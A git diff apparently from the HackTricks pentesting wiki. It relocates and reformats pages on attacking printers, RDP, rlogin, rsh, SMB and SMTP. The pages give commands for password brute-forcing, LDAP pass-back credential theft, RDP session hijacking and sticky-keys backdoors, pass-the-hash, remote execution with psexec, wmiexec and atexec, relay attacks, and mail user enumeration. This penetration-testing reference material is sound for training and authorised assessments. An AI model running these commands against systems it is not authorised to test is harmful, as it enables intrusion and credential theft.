- - diff --git a/pentesting/pentesting-printers/accounting-bypass.md b/network-services-pentesting/pentesting-printers/accounting-bypass.md similarity index 100% rename from pentesting/pentesting-printers/accounting-bypass.md rename to network-services-pentesting/pentesting-printers/accounting-bypass.md diff --git a/pentesting/pentesting-printers/buffer-overflows.md b/network-services-pentesting/pentesting-printers/buffer-overflows.md similarity index 100% rename from pentesting/pentesting-printers/buffer-overflows.md rename to network-services-pentesting/pentesting-printers/buffer-overflows.md diff --git a/pentesting/pentesting-printers/credentials-disclosure-brute-force.md b/network-services-pentesting/pentesting-printers/credentials-disclosure-brute-force.md similarity index 96% rename from pentesting/pentesting-printers/credentials-disclosure-brute-force.md rename to network-services-pentesting/pentesting-printers/credentials-disclosure-brute-force.md index 5ab58f3a..30de1405 100644 --- a/pentesting/pentesting-printers/credentials-disclosure-brute-force.md +++ b/network-services-pentesting/pentesting-printers/credentials-disclosure-brute-force.md @@ -1,4 +1,4 @@ - +# Credentials Disclosure / Brute-Force
@@ -16,12 +16,11 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- Printers are commonly deployed with a **default password or no initial password at all**. In both cases, end-users or administrators have to actively set a password to secure the device. -# Password Disclosure +## Password Disclosure -## SNMP +### SNMP Ancient HP printers had a vulnerable OID that returned the password. Other vendors may have similar SNMP based issues. @@ -30,14 +29,14 @@ snmpget -v1 -c public printer iso.3.6.1.4.1.11.2.3.9.1.1.13.0 iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = Hex-STRING: 41 41 41 00 … ``` -## Pass-Back +### Pass-Back If the printer is **authorising people using an external LDAP**. If you have access to the **change this settings** (maybe using a web console interface) you can make the printer connects to your LDAP server and authorise any user.\ -Note that you could abuse this settings also to **steal the credentials the printer is using** to connect to the LDAP server. [Read here to learn more](../../windows/active-directory-methodology/ad-information-in-printers.md). +Note that you could abuse this settings also to **steal the credentials the printer is using** to connect to the LDAP server. [Read here to learn more](../../windows-hardening/active-directory-methodology/ad-information-in-printers.md). -# Brute-Force +## Brute-Force -## PJL +### PJL PJL passwords however are vulnerable to brute-force attacks because of their limited 16 bit key size. Noways in less than 30min you can guess the correct password. @@ -59,7 +58,7 @@ Panel lock: OFF Disk lock: OFF ``` -## PostScript +### PostScript PostScript offers two types of passwords: The `SystemParamsPassword` is used to change print job settings like paper size, while the `StartJobPassword` is required to exit the server loop and therefore permanently alter the PostScript environment. @@ -98,11 +97,8 @@ Resetting password to zero with super-secret PostScript magic Device unlocked with password: 0 ``` - - **More information about Password Disclosure and Brute-Force in** [**http://hacking-printers.net/wiki/index.php/Credential\_disclosure**](http://hacking-printers.net/wiki/index.php/Credential\_disclosure) -
Support HackTricks and get benefits! @@ -118,5 +114,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/pentesting-printers/cross-site-printing.md b/network-services-pentesting/pentesting-printers/cross-site-printing.md similarity index 100% rename from pentesting/pentesting-printers/cross-site-printing.md rename to network-services-pentesting/pentesting-printers/cross-site-printing.md diff --git a/pentesting/pentesting-printers/document-processing.md b/network-services-pentesting/pentesting-printers/document-processing.md similarity index 100% rename from pentesting/pentesting-printers/document-processing.md rename to network-services-pentesting/pentesting-printers/document-processing.md diff --git a/pentesting/pentesting-printers/factory-defaults.md b/network-services-pentesting/pentesting-printers/factory-defaults.md similarity index 100% rename from pentesting/pentesting-printers/factory-defaults.md rename to network-services-pentesting/pentesting-printers/factory-defaults.md diff --git a/pentesting/pentesting-printers/file-system-access.md b/network-services-pentesting/pentesting-printers/file-system-access.md similarity index 100% rename from pentesting/pentesting-printers/file-system-access.md rename to network-services-pentesting/pentesting-printers/file-system-access.md diff --git a/pentesting/pentesting-printers/firmware-updates.md b/network-services-pentesting/pentesting-printers/firmware-updates.md similarity index 100% rename from pentesting/pentesting-printers/firmware-updates.md rename to network-services-pentesting/pentesting-printers/firmware-updates.md diff --git a/pentesting/pentesting-printers/memory-access.md b/network-services-pentesting/pentesting-printers/memory-access.md similarity index 100% rename from pentesting/pentesting-printers/memory-access.md rename to network-services-pentesting/pentesting-printers/memory-access.md diff --git a/pentesting/pentesting-printers/physical-damage.md b/network-services-pentesting/pentesting-printers/physical-damage.md similarity index 100% rename from pentesting/pentesting-printers/physical-damage.md rename to network-services-pentesting/pentesting-printers/physical-damage.md diff --git a/pentesting/pentesting-printers/print-job-manipulation.md b/network-services-pentesting/pentesting-printers/print-job-manipulation.md similarity index 100% rename from pentesting/pentesting-printers/print-job-manipulation.md rename to network-services-pentesting/pentesting-printers/print-job-manipulation.md diff --git a/pentesting/pentesting-printers/print-job-retention.md b/network-services-pentesting/pentesting-printers/print-job-retention.md similarity index 100% rename from pentesting/pentesting-printers/print-job-retention.md rename to network-services-pentesting/pentesting-printers/print-job-retention.md diff --git a/pentesting/pentesting-printers/scanner-and-fax.md b/network-services-pentesting/pentesting-printers/scanner-and-fax.md similarity index 100% rename from pentesting/pentesting-printers/scanner-and-fax.md rename to network-services-pentesting/pentesting-printers/scanner-and-fax.md diff --git a/pentesting/pentesting-printers/software-packages.md b/network-services-pentesting/pentesting-printers/software-packages.md similarity index 100% rename from pentesting/pentesting-printers/software-packages.md rename to network-services-pentesting/pentesting-printers/software-packages.md diff --git a/pentesting/pentesting-printers/transmission-channel.md b/network-services-pentesting/pentesting-printers/transmission-channel.md similarity index 100% rename from pentesting/pentesting-printers/transmission-channel.md rename to network-services-pentesting/pentesting-printers/transmission-channel.md diff --git a/pentesting/pentesting-rdp.md b/network-services-pentesting/pentesting-rdp.md similarity index 81% rename from pentesting/pentesting-rdp.md rename to network-services-pentesting/pentesting-rdp.md index 3ed0113c..f8f44f19 100644 --- a/pentesting/pentesting-rdp.md +++ b/network-services-pentesting/pentesting-rdp.md @@ -1,4 +1,4 @@ - +# 3389 - Pentesting RDP
@@ -16,19 +16,18 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+## Basic Information -# Basic Information - -**Remote Desktop** Protocol \(**RDP**\) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. The user employs **RDP** client software for this purpose, while the other computer must run **RDP** server software \(from [here](https://en.wikipedia.org/wiki/Remote_Desktop_Protocol)\). +**Remote Desktop** Protocol (**RDP**) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. The user employs **RDP** client software for this purpose, while the other computer must run **RDP** server software (from [here](https://en.wikipedia.org/wiki/Remote\_Desktop\_Protocol)). **Default port:** 3389 -```text +``` PORT STATE SERVICE 3389/tcp open ms-wbt-server ``` -# Connect with known credentials/hash +## Connect with known credentials/hash ```bash rdesktop -u @@ -37,11 +36,11 @@ xfreerdp /u:[domain\] /p: /v: xfreerdp /u:[domain\] /pth: /v: ``` -## [Brute force](../brute-force.md#rdp) +### [Brute force](../generic-methodologies-and-resources/brute-force.md#rdp) **Be careful, you could lock accounts** -# Check known credentials against RDP services +## Check known credentials against RDP services rdp\_check.py from impacket let you check if some credentials are valid for a RDP service: @@ -49,19 +48,19 @@ rdp\_check.py from impacket let you check if some credentials are valid for a RD rdp_check /:@ ``` -# Nmap scripts +## Nmap scripts ```bash nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 ``` -It checks the available encryption and DoS vulnerability \(without causing DoS to the service\) and obtains NTLM Windows info \(versions\). +It checks the available encryption and DoS vulnerability (without causing DoS to the service) and obtains NTLM Windows info (versions). -# Post-Exploitation +## Post-Exploitation -{% embed url="https://github.com/JoelGMSec/AutoRDPwn" caption="" %} +{% embed url="https://github.com/JoelGMSec/AutoRDPwn" %} -## Launch CMD with other cretentials so they are used in the network +### Launch CMD with other cretentials so they are used in the network You can launch a new cmd to wich new credentials will be attached so, every interaction this new shell makes with the network will use the new credentials: @@ -69,13 +68,13 @@ You can launch a new cmd to wich new credentials will be attached so, every inte runas /netonly /user:\ "cmd.exe" #The password will be prompted ``` -# Session stealing +## Session stealing With Administrator rights you can access any opened RDP session by any user without need to know the password of the owner. **Get openned sessions:** -```text +``` query user ``` @@ -89,9 +88,9 @@ Now you will be inside the selected RDP session and you will have impersonate a **Important**: When you access an active RDP sessions you will kickoff the user that was using it. -You could get passwords from the process dumping it, but this method is much faster and led you interact with the virtual desktops of the user \(passwords in notepad without been saved in disk, other RDP sessions opened in other machines...\) +You could get passwords from the process dumping it, but this method is much faster and led you interact with the virtual desktops of the user (passwords in notepad without been saved in disk, other RDP sessions opened in other machines...) -### **Mimikatz** +#### **Mimikatz** You could also use mimikatz to do this: @@ -100,21 +99,21 @@ ts::sessions #Get sessions ts::remote /id:2 #Connect to the session ``` -### Sticky-keys & Utilman +#### Sticky-keys & Utilman Combining this technique with **stickykeys** or **utilman you will be able to access a administrative CMD and any RDP session anytime** You can search RDPs that have been backdoored with one of these techniques already with: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) -# Adding User to RDP group +## Adding User to RDP group ```bash net localgroup "Remote Desktop Users" UserLoginName /add ``` -# HackTricks Automatic Commands +## HackTricks Automatic Commands -```text +``` Protocol_Name: RDP #Protocol Abbreviation if there is one. Port_Number: 3389 #Comma separated if there is more than one. Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out @@ -133,8 +132,6 @@ Entry_2: Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP} ``` - -
Support HackTricks and get benefits! @@ -150,5 +147,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/pentesting-remote-gdbserver.md b/network-services-pentesting/pentesting-remote-gdbserver.md similarity index 100% rename from pentesting/pentesting-remote-gdbserver.md rename to network-services-pentesting/pentesting-remote-gdbserver.md diff --git a/pentesting/pentesting-rlogin.md b/network-services-pentesting/pentesting-rlogin.md similarity index 94% rename from pentesting/pentesting-rlogin.md rename to network-services-pentesting/pentesting-rlogin.md index 2c2444f6..dbba8ebc 100644 --- a/pentesting/pentesting-rlogin.md +++ b/network-services-pentesting/pentesting-rlogin.md @@ -1,4 +1,4 @@ - +# 513 - Pentesting Rlogin
@@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Basic Information +## Basic Information This service was mostly used in the old days for remote administration but now because of security issues this service has been replaced by the slogin and the ssh. @@ -28,7 +27,7 @@ PORT STATE SERVICE 513/tcp open login ``` -# **Login** +## **Login** ``` apt-get install rsh-client @@ -40,15 +39,14 @@ This command will try to **login** to the remote host by using the login name ** rlogin -l ``` -## [Brute force](../brute-force.md#rlogin) +### [Brute force](../generic-methodologies-and-resources/brute-force.md#rlogin) -# Find files +## Find files ``` find / -name .rhosts ``` -
Support HackTricks and get benefits! @@ -64,5 +62,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/pentesting-rpcbind.md b/network-services-pentesting/pentesting-rpcbind.md similarity index 100% rename from pentesting/pentesting-rpcbind.md rename to network-services-pentesting/pentesting-rpcbind.md diff --git a/pentesting/pentesting-rsh.md b/network-services-pentesting/pentesting-rsh.md similarity index 95% rename from pentesting/pentesting-rsh.md rename to network-services-pentesting/pentesting-rsh.md index a759185c..4591e377 100644 --- a/pentesting/pentesting-rsh.md +++ b/network-services-pentesting/pentesting-rsh.md @@ -1,4 +1,4 @@ - +# 514 - Pentesting Rsh
@@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Basic Information +## Basic Information **Rsh** use **.rhosts** files and **/etc/hosts.equiv** for authentication. These methods relied on IP addresses and DNS (Domain Name System) for authentication. However, spoofing IP addresses is fairly easy, especially if the attacker is on the local network. @@ -25,7 +24,7 @@ Furthermore, the **.rhosts** files were stored in users' home directories, which **Default port**: 514 -# Login +## Login ``` rsh @@ -34,9 +33,7 @@ rsh domain/user@ rsh domain\\user@ ``` -## [**Brute Force**](../brute-force.md#rsh) - - +### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsh)
@@ -53,5 +50,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/pentesting-sap.md b/network-services-pentesting/pentesting-sap.md similarity index 100% rename from pentesting/pentesting-sap.md rename to network-services-pentesting/pentesting-sap.md diff --git a/pentesting/pentesting-smb.md b/network-services-pentesting/pentesting-smb.md similarity index 92% rename from pentesting/pentesting-smb.md rename to network-services-pentesting/pentesting-smb.md index 3122791f..8ff912f8 100644 --- a/pentesting/pentesting-smb.md +++ b/network-services-pentesting/pentesting-smb.md @@ -1,4 +1,4 @@ - +# 139,445 - Pentesting SMB
@@ -16,23 +16,21 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- {% hint style="warning" %} **Support HackTricks and get benefits!** -Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? -Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! Discover **The PEASS Family**, our collection of exclusive **NFTs** Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** +**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** {% endhint %} -# **Port 139** +## **Port 139** **NetBIOS** stands for _Network Basic Input Output System_. It is a software protocol that allows applications, PCs, and Desktops on a local area network (LAN) to communicate with network hardware and to transmit data across the network. Software applications that run on a NetBIOS network locate and identify each other via their NetBIOS names. A NetBIOS name is up to 16 characters long and usually, separate from the computer name. Two applications start a NetBIOS session when one (the client) sends a command to “call” another client (the server) over **TCP Port 139**. (extracted from [here](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for)) @@ -40,17 +38,17 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` -# Port 445 +## Port 445 While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. **SMB** stands for ‘**Server Message Blocks**’. Server Message Block in modern language is also known as **Common Internet File System**. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network. -For instance, on Windows, SMB can run directly over TCP/IP without the need for NetBIOS over TCP/IP. This will use, as you point out, port 445. On other systems, you’ll find services and applications using port 139. This means that SMB is running with NetBIOS over TCP/IP**.** (extracted from [here](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for)) +For instance, on Windows, SMB can run directly over TCP/IP without the need for NetBIOS over TCP/IP. This will use, as you point out, port 445. On other systems, you’ll find services and applications using port 139. This means that SMB is running with NetBIOS over TCP/IP\*\*.\*\* (extracted from [here](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for)) ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` -## IPC$ share +### IPC$ share From book _**Network Security Assessment 3rd edition**_ @@ -62,24 +60,24 @@ With an anonymous null session you can access the IPC$ share and interact with s * Details of available SMB shares * The effective system security policy -# What is NTLM +## What is NTLM -If you don't know what is NTLM or you want to know how it works and how to abuse it, you will find very insteresting this page about [**NTLM** where is explained **how this protocol works and how you can take advantage of it**](../windows/ntlm/). +If you don't know what is NTLM or you want to know how it works and how to abuse it, you will find very insteresting this page about [**NTLM** where is explained **how this protocol works and how you can take advantage of it**](../windows-hardening/ntlm/). -# **Enumeration** +## **Enumeration** -## **Scan** a network searching for hosts: +### **Scan** a network searching for hosts: ```bash nbtscan -r 192.168.0.1/24 ``` -## SMB server version +### SMB server version To look for possible exploits to the SMB version it important to know which version is being used. If this information does not appear in other used tools, you can: * Use the **MSF** auxiliary module \_**auxiliary/scanner/smb/smb\_version** -* \_Or** this script**: +* \_Or\*\* this script\*\*: ```bash #!/bin/sh @@ -98,14 +96,14 @@ echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null echo "" && sleep .1 ``` -## **Search exploit** +### **Search exploit** ```bash msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb ``` -## **Possible** Credentials +### **Possible** Credentials | **Username(s)** | **Common passwords** | | -------------------- | ----------------------------------------- | @@ -117,7 +115,7 @@ searchsploit microsoft smb | backupexec, backup | backupexec, backup, arcada | | test, lab, demo | password, test, lab, demo | -## Obtain information +### Obtain information ```bash #Dump interesting information @@ -140,13 +138,13 @@ rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbff /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] ``` -## **Enumerating LSARPC and SAMR rpcclient** +### **Enumerating LSARPC and SAMR rpcclient** **Pat of this section was extracted from book "**_**Network Security Assesment 3rd Edition**_**"** You can use the Samba **`rpcclient`** utility to interact with **RPC endpoints via named pipes**. The following lists commands that you can issue to SAMR, LSARPC, and LSARPC-DS interfaces upon **establishing** a **SMB session** (often requiring credentials). -### Users enumeration +#### Users enumeration * **List users**: `querydispinfo` and `enumdomusers` * **Get user details**: `queryuser <0xrid>` @@ -154,24 +152,24 @@ You can use the Samba **`rpcclient`** utility to interact with **RPC endpoints v * **GET SID of a user**: `lookupnames ` * **Get users aliases**: `queryuseraliases [builtin|domain] ` -### Groups enumeration +#### Groups enumeration * **List groups**: `enumdomgroups` * **Get group details**: `querygroup <0xrid>` * **Get group members**: `querygroupmem <0xrid>` -### Aliasgroups enumeration +#### Aliasgroups enumeration * **List alias**: `enumalsgroups ` * **Get members**: `queryaliasmem builtin|domain <0xrid>` -### Domains enumeration +#### Domains enumeration * **List domains**: `enumdomains` * **Get SID**: `lsaquery` * **Domain info**: `querydominfo` -### More SIDs +#### More SIDs * **Find SIDs by name**: `lookupnames ` * **Find more SIDs**: `lsaenumsid` @@ -195,17 +193,17 @@ You can use the Samba **`rpcclient`** utility to interact with **RPC endpoints v To **understand** better how the tools _**samrdump**_ **and** _**rpcdump**_ works you should read [**Pentesting MSRPC**](135-pentesting-msrpc.md). -## GUI connection from linux +### GUI connection from linux -### In the terminal: +#### In the terminal: `xdg-open smb://cascade.htb/` -### In file browser window (nautilus, thunar, etc) +#### In file browser window (nautilus, thunar, etc) `smb://friendzone.htb/general/` -## List shared folders +### List shared folders It is always recommended to look if you can access to anything, if you don't have credentials try using **null** **credentials/guest user**. @@ -220,7 +218,7 @@ crackmapexec smb -u 'username' -p 'password' --shares #Guest user crackmapexec smb -u 'username' -H '' --shares #Guest user ``` -## **Connect/List a shared folder** +### **Connect/List a shared folder** ```bash #Connect using smbclient @@ -234,7 +232,7 @@ smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recur smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash ``` -## **Manually enumerate windows shares and connect to them** +### **Manually enumerate windows shares and connect to them** It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT\_STATUS\_ACCESS\_DENIED and NT\_STATUS\_BAD\_NETWORK\_NAME, when using a valid session (e.g. null session or valid credentials). These may indicate whether the share exists and you do not have access to it or the share does not exist at all. @@ -284,14 +282,14 @@ smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BA smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` -## Mount a shared folder +### Mount a shared folder ```bash mount -t cifs //x.x.x.x/share /mnt/share mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` -## **Download files** +### **Download files** Read previous sections to learn how to connect with credentials/Pass-the-Hash. @@ -319,7 +317,7 @@ Commands: (_Information from the manpage of smbclient_) -## Read Registry +### Read Registry You may be able to **read the registry** using some discovered credentials. Impacket `reg.py` allows you to try: @@ -329,7 +327,7 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s ``` -## Local users +### Local users Enumerate **local** users with SID brute-forcing: @@ -349,7 +347,7 @@ run Note: `rpcclient` command `lookupsids` only translates a SID to a username but doesn't allow enumeration via brute-forcing. -# Authenticate using Kerberos +## Authenticate using Kerberos You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**: @@ -358,9 +356,9 @@ smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com ``` -# **Execute** +## **Execute** -## **crackmapexec** +### **crackmapexec** crackmapexec can execute commands **abusing** any of **mmcexec, smbexec, atexec, wmiexec** being **wmiexec** the **default** method. You can indicate which option you prefer to use with the parameter `--exec-method`: @@ -384,10 +382,10 @@ crackmapexec smb -d -u Administrator -p 'password' --pass-pol #Get crackmapexec smb -d -u Administrator -p 'password' --rid-brute #RID brute ``` -## [**psexec**](../windows/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows/ntlm/smbexec.md) +### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md) Both options will **create a new service** (using _\pipe\svcctl_ via SMB) in the victim machine and use it to **execute something** (**psexec** will **upload** an executable file to ADMIN$ share and **smbexec** will point to **cmd.exe/powershell.exe** and put in the arguments the payload --**file-less technique-**-).\ -**More info** about [**psexec** ](../windows/ntlm/psexec-and-winexec.md)and [**smbexec**](../windows/ntlm/smbexec.md).\ +**More info** about [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)and [**smbexec**](../windows-hardening/ntlm/smbexec.md).\ In **kali** it is located on /usr/share/doc/python3-impacket/examples/ ```bash @@ -400,7 +398,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM** -## [wmiexec](../windows/ntlm/wmicexec.md)/dcomexec +### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec Stealthily execute a command shell without touching the disk or running a new service using DCOM via **port 135.**\ In **kali** it is located on /usr/share/doc/python3-impacket/examples/ @@ -421,7 +419,7 @@ Using **parameter**`-k` you can authenticate against **kerberos** instead of **N #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` -## [AtExec](../windows/ntlm/atexec.md) +### [AtExec](../windows-hardening/ntlm/atexec.md) Execute commands via the Task Scheduler (using _\pipe\atsvc_ via SMB).\ In **kali** it is located on /usr/share/doc/python3-impacket/examples/ @@ -431,11 +429,11 @@ In **kali** it is located on /usr/share/doc/python3-impacket/examples/ ./atexec.py -hashes administrator@10.10.10.175 "whoami" ``` -# Impacket reference +## Impacket reference [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) -# **Bruteforce users credentials** +## **Bruteforce users credentials** **This is not recommended, you could block an account if you exceed the maximum allowed tries** @@ -444,12 +442,12 @@ nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce eachusername ``` -# SMB relay attack +## SMB relay attack This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**.\ -[**More information about this attack here.**](pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +[**More information about this attack here.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -# SMB-Trap +## SMB-Trap The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"` @@ -464,11 +462,11 @@ Which are used by some browsers and tools (like Skype) ![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>) -## SMBTrap using MitMf +### SMBTrap using MitMf ![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>) -# HackTricks Automatic Commands +## HackTricks Automatic Commands ``` Protocol_Name: SMB #Protocol Abbreviation if there is one. @@ -537,7 +535,6 @@ Entry_6: ``` -
Support HackTricks and get benefits! @@ -553,5 +550,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/pentesting-smtp/README.md b/network-services-pentesting/pentesting-smtp/README.md similarity index 95% rename from pentesting/pentesting-smtp/README.md rename to network-services-pentesting/pentesting-smtp/README.md index 7d7e96d9..2baa0590 100644 --- a/pentesting/pentesting-smtp/README.md +++ b/network-services-pentesting/pentesting-smtp/README.md @@ -1,4 +1,4 @@ - +# 25,465,587 - Pentesting SMTP/s
@@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# **Basic Information** +## **Basic Information** **SMTP (Simple Mail Transfer Protocol)** is a TCP/IP protocol used in **sending** and receiving **e-mail**. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server. @@ -31,7 +30,7 @@ PORT STATE SERVICE REASON VERSION 25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959 ``` -## EMAIL Headers +### EMAIL Headers If you have the opportunity to **make the victim send you a emai**l (via contact form of the web page for example), do it because **you could learn about the internal topology** of the victim seeing the headers of the mail. @@ -41,9 +40,9 @@ You should also try to **send different contents because you can find more inter You should send the EICAR test file.\ Detecting the **AV** may allow you to exploit **known vulnerabilities.** -# Basic actions +## Basic actions -## **Banner Grabbing/Basic connection** +### **Banner Grabbing/Basic connection** **SMTP:** @@ -58,19 +57,19 @@ openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls c openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587 ``` -## Finding MX servers of an organisation +### Finding MX servers of an organisation ```bash dig +short mx google.com ``` -## Enumeration +### Enumeration ```bash nmap -p25 --script smtp-commands 10.10.10.10 ``` -## NTLM Auth - Information disclosure +### NTLM Auth - Information disclosure If the server supports NTLM auth (Windows) you can obtain sensitive info (versions). More info [**here**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666). @@ -87,7 +86,7 @@ NTLM supported Or **automate** this with **nmap** plugin `smtp-ntlm-info.nse` -## Internal server name - Information disclosure +### Internal server name - Information disclosure Some SMTP servers auto-complete a sender's address when command "MAIL FROM" is issued without a full address, disclosing its internal name: @@ -110,17 +109,17 @@ MAIL FROM: me 250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK ``` -## Sniffing +### Sniffing Check if you sniff some password from the packets to port 25 -## [Auth bruteforce](../../brute-force.md#smtp) +### [Auth bruteforce](../../generic-methodologies-and-resources/brute-force.md#smtp) -# Username Bruteforce Enumeration +## Username Bruteforce Enumeration **Authentication is not always needed** -## RCPT TO +### RCPT TO ```bash $ telnet 10.0.10.1 25 @@ -140,7 +139,7 @@ RCPT TO:ed 250 2.1.5 ed... Recipient ok ``` -## VRFY +### VRFY ``` $ telnet 10.0.0.1 25 @@ -158,7 +157,7 @@ VRFY blah 550 blah... User unknown ``` -## EXPN +### EXPN ``` $ telnet 10.0.10.1 25 @@ -179,7 +178,7 @@ EXPN sshd Extracted from: [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/) -## Automatic tools +### Automatic tools ``` Metasploit: auxiliary/scanner/smtp/smtp_enum @@ -187,13 +186,13 @@ smtp-user-enum: smtp-user-enum -M -u -t Nmap: nmap --script smtp-enum-users ``` -# DSN Reports +## DSN Reports **Delivery Status Notification Reports**: If you send an **email** to an organisation to an **invalid address**, the organisation will notify that the address was invalided sending a **mail back to you**. **Headers** of the returned email will **contain** possible **sensitive information** (like IP address of the mail services that interacted with the reports or anti-virus software info). -# [Commands](smtp-commands.md) +## [Commands](smtp-commands.md) -## Sending an Email 